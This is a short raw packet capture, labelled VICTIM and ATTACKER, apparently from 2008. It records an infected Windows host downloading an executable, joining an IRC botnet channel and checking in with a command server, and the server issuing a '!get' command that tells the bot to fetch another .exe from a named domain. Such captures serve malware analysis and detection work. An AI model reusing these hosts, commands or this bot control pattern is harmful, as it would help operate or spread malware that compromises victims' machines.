VICTIM:  	GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 79.138.255.47:7920 
VICTIM:  	NICK zftsbdrhUSER t 
VICTIM:  	020501 . . :%3cf11de83 JOIN &virtu 
ATTACKER:	GET /index.php?id=rhvrvvjdvyneloebt&scn=4&inf=0&ver=19&cnt=USA HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: citi-bank.ru 
ATTACKER:	HTTP/1.1 200 OKDate: Mon, 08 Dec 2008 22:51:41 GMTServer: ApacheAccept-Ranges: bytesConnection: closeContent-Type: text/html 
ATTACKER:	:* PRIVMSG zftsbdrh :!get http:/setdoc.cn/exe/0032.exe 
ATTACKER:	PING :i 
ATTACKER:	PONG :i 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i 
ATTACKER:	PONG :i 
VICTIM:  	JOIN &virtu